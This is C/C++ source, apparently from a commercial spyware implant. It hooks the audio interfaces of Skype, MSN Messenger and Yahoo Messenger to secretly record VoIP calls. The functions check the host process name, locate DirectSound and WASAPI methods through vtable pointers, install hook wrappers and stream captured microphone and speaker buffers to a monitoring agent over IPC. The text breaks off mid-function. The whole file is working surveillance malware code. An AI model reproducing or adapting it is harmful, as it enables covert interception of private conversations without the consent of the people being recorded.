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HM_SkypeRecord.h
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HM_SkypeRecord.h
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#include <shlwapi.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include "speex/speex.h"
#include "dsound.h"
#define SAMPLE_RATE_DEFAULT 48000
#define SAMPLE_RATE_SKYPE 48000
#define SAMPLE_RATE_SKYPE_W 44100
#define SAMPLE_RATE_GTALK 48000
#define SAMPLE_RATE_YMSG 48000
#define SAMPLE_RATE_YMSG_IN 96000
#define SAMPLE_RATE_MSN 16000
typedef MMRESULT (WINAPI *waveOutGetID_t) (HWAVEOUT , LPUINT);
typedef MMRESULT (WINAPI *waveInGetID_t) (HWAVEOUT , LPUINT);
typedef HRESULT (WINAPI *DirectSoundCreate_t) (LPCGUID , LPDIRECTSOUND *, DWORD);
typedef HRESULT (WINAPI *DirectSoundCaptureCreate_t) (LPCGUID , LPDIRECTSOUNDCAPTURE *, DWORD);
// Funzioni risolte nella DLL del CODEC
typedef void *(*speex_encoder_init_t)(SpeexMode *);
typedef int (*speex_encoder_ctl_t)(void *, int, void *);
typedef void (*speex_encoder_destroy_t)(void *);
typedef int (*speex_encode_t)(void *, float *, SpeexBits *);
typedef void (*speex_bits_init_t)(SpeexBits *);
typedef void (*speex_bits_reset_t)(SpeexBits *);
typedef int (*speex_bits_write_t)(SpeexBits *, char *, int);
typedef void (*speex_bits_destroy_t)(SpeexBits *);
typedef SpeexMode *(*speex_lib_get_mode_t)(int);
speex_encoder_init_t rel_speex_encoder_init;
speex_encoder_ctl_t rel_speex_encoder_ctl;
speex_encoder_destroy_t rel_speex_encoder_destroy;
speex_encode_t rel_speex_encode;
speex_bits_init_t rel_speex_bits_init;
speex_bits_reset_t rel_speex_bits_reset;
speex_bits_write_t rel_speex_bits_write;
speex_bits_destroy_t rel_speex_bits_destroy;
speex_lib_get_mode_t rel_speex_lib_get_mode;
typedef struct partner_struct {
DWORD Id;
DWORD participants;
char *peer;
#define VOIP_SKYPE 1
#define VOIP_GTALK 2
#define VOIP_YAHOO 3
#define VOIP_MSMSG 4
#define VOIP_MOBIL 5
#define VOIP_SKWSA 6
#define VOIP_MSNWS 7
DWORD voip_program;
#define CALL_SKYPE_OLD 1 // Abbiamo ricevuto un chunl audio NON dalle wasapi, quindi ignoriamo quelli provenienti da li'
DWORD flags;
struct partner_struct *next;
} partner_entry;
typedef struct _VoiceAdditionalData {
UINT uVersion;
#define LOG_VOICE_VERSION 2008121901
UINT uChannel;
UINT uProgramType;
UINT uSampleRate;
UINT uIngoing;
FILETIME start;
FILETIME stop;
UINT uCallerIdLen;
UINT uCalleeIdLen;
} VoiceAdditionalData, *pVoiceAdditionalData;
#define FLAGS_INPUT 1 // Ricevuto dal microfono
#define FLAGS_OUTPUT 2 // Suonato dalla scheda audio
#define FLAGS_SKAPI_INI 4 // Messaggio delle api di Skype (inizializzazione)
#define FLAGS_SKAPI_MSG 8 // Messaggio delle api di Skype
#define FLAGS_SKAPI_WND 16 // Messaggio delle api di Skype (thread di dispatch)
#define FLAGS_SKAPI_SWD 32 // Messaggio delle api di Skype
#define FLAGS_SKAPI_ATT 64 // Messaggio di Skype: Segnala il core che deve fare l'attach per inviare messaggi
#define FLAGS_YMSG_IN 128 // Messaggio delle api di YahooMessenger
#define FLAGS_YMSG_OUT 256 // Messaggio delle api di YahooMessenger
#define FLAGS_GTALK_IN 512 // Messaggio delle api di Gtalk
#define FLAGS_GTALK_OUT 1024 // Messaggio delle api di Gtalk
#define FLAGS_MSN_IN 2048 // Messaggio delle api di Msn Live
#define FLAGS_MSN_OUT 4096 // Messaggio delle api di Msn Live
#define FLAGS_SAMPLING 8192 // Messaggio per indicare il sample rate
// Gli ultimi due bit di flag (2^30 e 2^31) sono riservati al chunk
// audio e contengoono il numero di canali utilizzato
// In questo caso i bit da 24 a 29 sono usati per identificare il tipo di
// programma utilizzato <voip_program>
#define MAX_HASHKEY_LEN MAX_PATH*3 // Lunghezza massima chiavi di hash per skype config
#define DEFAULT_SAMPLE_SIZE (512*1024) // 512KB
#define DEFAULT_COMPRESSION 3
#define MAX_ID_LEN 250
#define CALL_DELTA 16 // Intervallo in decimi di secondo che differenzia due chiamate
#define INPUT_ELEM 0
#define OUTPUT_ELEM 1
CRITICAL_SECTION skype_critic_sec;
partner_entry *call_list_head = NULL;
BOOL bPM_VoipRecordStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
DWORD sample_size[2] = {0,0}; // Viene inizializzato solo all'inizio
DWORD sample_channels[2] = {1,1}; // Numero di canali
DWORD sample_sampling[2] = {SAMPLE_RATE_SKYPE_W, SAMPLE_RATE_SKYPE_W}; // Sample rate dei due canali per skype con wasapi
FILETIME channel_time_start[2]; // Time stamp di inizio chiamata
FILETIME channel_time_last[2]; // Time stamp dell'ultimo campione
BYTE *wave_array[2] = {NULL, NULL}; // Buffer contenenti i PCM dei due canali
DWORD max_sample_size = 500000; // Dimensione oltre la quale salva un sample su file
DWORD compress_factor = 5; // Fattore di compressione del codec
HMODULE codec_handle = NULL; // Handle alla dll del codec
BOOL bPM_spmcp = FALSE; // Semaforo per l'uscita del thread
HANDLE hSkypePMThread = NULL;
BOOL IsSkypePMInstalled();
// Sono condivise anche da IM e Contacts
HWND skype_api_wnd = NULL;
HWND skype_pm_wnd = NULL;
#include <mmsystem.h>
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDBUFFER lpDSBuffer;
LPDIRECTSOUND lpDS = NULL;
PCMWAVEFORMAT pcmwf;
DSBUFFERDESC dsbdesc;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCreate_t pDirectSoundCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCreate = (DirectSoundCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCreate") ) )
return NULL;
if (DS_OK != pDirectSoundCreate(NULL, &lpDS, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&dsbdesc, 0, sizeof(DSBUFFERDESC));
dsbdesc.dwSize = sizeof(DSBUFFERDESC);
dsbdesc.dwFlags = DSBCAPS_CTRLFREQUENCY|DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME ;
dsbdesc.dwBufferBytes = 512;
dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDS->CreateSoundBuffer(&dsbdesc, &lpDSBuffer, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSBuffer;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 11);
*DSUnlock = *(func_ptr + 19);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
// XXX Dovrei liberare i buffer e le strutture create
BYTE *GetDirectSoundCaptureGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat)
{
LPDIRECTSOUNDCAPTURE lpDSC;
LPDIRECTSOUNDCAPTUREBUFFER lpDSCB;
DSCBUFFERDESC cdbufd;
PCMWAVEFORMAT pcmwf;
BYTE ***interface_ptr;
BYTE **func_ptr;
HMODULE hdsound;
DirectSoundCaptureCreate_t pDirectSoundCaptureCreate;
if ( !(hdsound = LoadLibrary("dsound.dll") ) )
return NULL;
if ( !(pDirectSoundCaptureCreate = (DirectSoundCaptureCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCaptureCreate") ) )
return NULL;
if ( DS_OK != pDirectSoundCaptureCreate(NULL, &lpDSC, NULL))
return NULL;
memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) );
pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM;
pcmwf.wf.nChannels = 1;
pcmwf.wf.nSamplesPerSec = 48000;
pcmwf.wf.nBlockAlign = (WORD)2;
pcmwf.wf.nAvgBytesPerSec = 96000;
pcmwf.wBitsPerSample = (WORD)16;
memset(&cdbufd, 0, sizeof(cdbufd));
cdbufd.dwSize = sizeof(DSCBUFFERDESC);
cdbufd.dwBufferBytes = 100;
cdbufd.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
if (DS_OK != lpDSC->CreateCaptureBuffer(&cdbufd, &lpDSCB, NULL))
return NULL;
interface_ptr = (BYTE ***)lpDSCB;
func_ptr = *interface_ptr;
*DSLock = *(func_ptr + 8);
*DSUnlock = *(func_ptr + 11);
*DSGetFormat = *(func_ptr + 5);
if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL)
return NULL;
func_ptr += 4;
return *func_ptr;
}
typedef DWORD (WINAPI *DSLock_t)(DWORD, DWORD, DWORD, LPVOID *, LPDWORD, LPVOID *, LPDWORD, DWORD);
typedef DWORD (WINAPI *DSUnlock_t)(DWORD, LPVOID, DWORD, LPVOID, DWORD);
typedef DWORD (WINAPI *DSGetFormat_t)(DWORD, LPVOID, DWORD, LPDWORD);
///////////////////////////
//
// Dsound::DSGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSGetCPStruct;
DSGetCPStruct DSGetCPData;
#define THRESHOLD 0x3C0
#define LARGE_CLI_WRITE(x, y, z, k) { BYTE *wave_ptr = x; \
DWORD to_write = y; \
while (to_write > 0) { \
if (to_write <= MAX_MSG_LEN) { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, to_write, z, k); \
to_write = 0; \
} else { \
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, MAX_MSG_LEN, z, k); \
wave_ptr += MAX_MSG_LEN; \
to_write -= MAX_MSG_LEN; }}}
DWORD __stdcall PM_DSGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
DWORD new_counter;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSGetCPStruct)
CALL_ORIGINAL_API(3);
// Se qualcosa e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Copia il valore in locale per evitare race
if (play_c == NULL)
return ret_code;
new_counter = *play_c;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
if ( (new_counter%2)==0 ) {
pData->old_play_c = new_counter;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
}
return ret_code;
}
// Nessun cambiamento
if (new_counter == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (new_counter > pData->old_play_c) {
dummy2 = (new_counter - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (new_counter - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
} else {
// Ha wrappato
dummy2 = new_counter + (pData->buffer_tot_len - pData->old_play_c);
if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), new_counter, (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
pData->old_play_c = new_counter;
}
}
return ret_code;
}
DWORD PM_DSGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
if (!stricmp(proc_name, "skype.exe"))
DSGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSGetCPData.prog_type = 0;
DSGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSGetCPData.old_play_c = -1;
if ( ! (DSGetCPData.bAPIAdd = GetDirectSoundGetCP( (BYTE **)&(DSGetCPData.pDSLock), (BYTE **)&(DSGetCPData.pDSUnlock), (BYTE **)&(DSGetCPData.pDSGetFormat) ) ))
return 1;
DSGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// Dsound::DSCapGetCP
//
///////////////////////////
typedef struct {
COMMONDATA;
DWORD prog_type;
DWORD old_play_c;
DWORD saved_cp;
BYTE *buffer_address;
DWORD buffer_tot_len;
DSLock_t pDSLock;
DSUnlock_t pDSUnlock;
DSGetFormat_t pDSGetFormat;
} DSCapGetCPStruct;
DSCapGetCPStruct DSCapGetCPData;
DWORD __stdcall PM_DSCapGetCP(DWORD class_ptr,
DWORD *write_c,
DWORD *play_c)
{
BOOL *Active;
DWORD *dummy1;
DWORD dummy2;
BYTE *temp_buf;
DWORD temp_len;
WAVEFORMATEX wfx_format;
MARK_HOOK
INIT_WRAPPER(DSCapGetCPStruct)
CALL_ORIGINAL_API(3);
if(play_c == NULL)
return ret_code;
// Se e' andato storto, ritorna
if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK)
return ret_code;
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (!Active || !(*Active))
return ret_code;
// Locka l'intero buffer
// lo fa ogni volta per trovare gli indirizzi anche quando
// cambia il buffer lasciando invariato il class_ptr
if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSCBLOCK_ENTIREBUFFER) != DS_OK)
return ret_code;
pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2);
wfx_format.nChannels = 2;
pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL);
// Se e' la prima volta che lo chiama (o ha cambiato buffer)
// salva i valori e ritorna
if (pData->old_play_c == -1 || pData->saved_cp != class_ptr ||
pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) {
// Check paranoico
if(play_c)
pData->old_play_c = *play_c;
else
return ret_code;
pData->saved_cp = class_ptr;
pData->buffer_address = temp_buf;
pData->buffer_tot_len = temp_len;
return ret_code;
}
// Nessuno cambiamento
if (*play_c == pData->old_play_c)
return ret_code;
// Non ha wrappato
if (*play_c > pData->old_play_c) {
if ( (*play_c - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (*play_c - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
} else {
// Ha wrappato
if (*play_c + (pData->buffer_tot_len - pData->old_play_c) >= THRESHOLD ) {
LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
LARGE_CLI_WRITE((pData->buffer_address), (*play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY);
pData->old_play_c = *play_c;
}
}
return ret_code;
}
DWORD PM_DSCapGetCP_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe") &&
stricmp(proc_name, "msnmsgr.exe") &&
stricmp(proc_name, "yahoomessenger.exe"))
return 1; // Hooka solo skype.exe e MSN
if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL))
return 1; // Solo su XP prendiamo le dsound
} else
return 1;
DSCapGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
DSCapGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
DSCapGetCPData.old_play_c = -1;
if (!stricmp(proc_name, "skype.exe"))
DSCapGetCPData.prog_type = VOIP_SKYPE;
else if (!stricmp(proc_name, "msnmsgr.exe"))
DSCapGetCPData.prog_type = VOIP_MSMSG;
else if (!stricmp(proc_name, "yahoomessenger.exe"))
DSGetCPData.prog_type = VOIP_YAHOO;
else
DSCapGetCPData.prog_type = 0;
if ( ! (DSCapGetCPData.bAPIAdd = GetDirectSoundCaptureGetCP( (BYTE **)&(DSCapGetCPData.pDSLock), (BYTE **)&(DSCapGetCPData.pDSUnlock), (BYTE **)&(DSCapGetCPData.pDSGetFormat) ) ))
return 1;
DSCapGetCPData.dwHookLen = 980;
return 0;
}
///////////////////////////
//
// WASAPI
//
///////////////////////////
#define SKYPE_WASAPI_BITS 2
#define MSN_WASAPI_BITS 4
#define WASAPI_GETBUFFER 3
#define WASAPI_RELEASEBUFFER 4
BYTE *GetWASAPIRenderFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioRenderClient *pAudioRenderClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioRenderClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioRenderClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioRenderClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPIRenderFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPIRenderFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
typedef struct {
COMMONDATA;
BYTE *obj_ptr;
BYTE *obj_ptr2;
BYTE *audio_data;
BYTE *audio_data2;
BOOL active;
BOOL active2;
} WASAPIGetBufferStruct;
WASAPIGetBufferStruct WASAPIGetBufferData;
HRESULT __stdcall PM_WASAPIGetBuffer(BYTE *class_ptr,
DWORD NumFramesRequested,
BYTE **ppData)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(3);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
pData->active = FALSE;
pData->active2 = FALSE;
}
// Memorizza 2 oggetti
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPIGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
WASAPIGetBufferData.active = FALSE;
WASAPIGetBufferData.active2 = FALSE;
if (GetWASAPIRenderFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
typedef struct {
COMMONDATA;
DWORD prog_type;
WASAPIGetBufferStruct *c_data;
DWORD n_channels;
DWORD sampling;
DWORD sampling2;
} WASAPIReleaseBufferStruct;
WASAPIReleaseBufferStruct WASAPIReleaseBufferData;
HRESULT __stdcall PM_WASAPIReleaseBuffer(BYTE *class_ptr,
DWORD NumFramesWrittem,
DWORD Flags)
{
BOOL *Active;
DWORD i;
MARK_HOOK
INIT_WRAPPER(WASAPIReleaseBufferStruct)
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (Active && (*Active) && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) {
if (pData->sampling != 0) {
pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY);
pData->sampling = 0;
}
if (pData->c_data->obj_ptr==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data[i] != 0) {
pData->c_data->active = TRUE;
break;
}
}
if (pData->c_data->active)
LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
if (pData->c_data->obj_ptr2==class_ptr) {
// Vede se e' un oggetto in cui sta scrivendo qualcosa
if (!pData->c_data->active2)
for (i=0; i<256; i++) {
if (pData->c_data->audio_data2[i] != 0) {
pData->c_data->active2 = TRUE;
break;
}
}
if (pData->c_data->active2)
LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
}
CALL_ORIGINAL_API(3);
return ret_code;
}
DWORD PM_WASAPIReleaseBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0];
WASAPIReleaseBufferData.prog_type = VOIP_SKWSA;
if (GetWASAPIRenderFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK)
return 1;
WASAPIReleaseBufferData.dwHookLen = 800;
return 0;
}
BYTE *GetWASAPICaptureFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioCaptureClient *pAudioCaptureClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&pAudioCaptureClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioCaptureClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioCaptureClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioCaptureClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPICaptureFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPICaptureFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
HRESULT __stdcall PM_WASAPICaptureGetBuffer(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
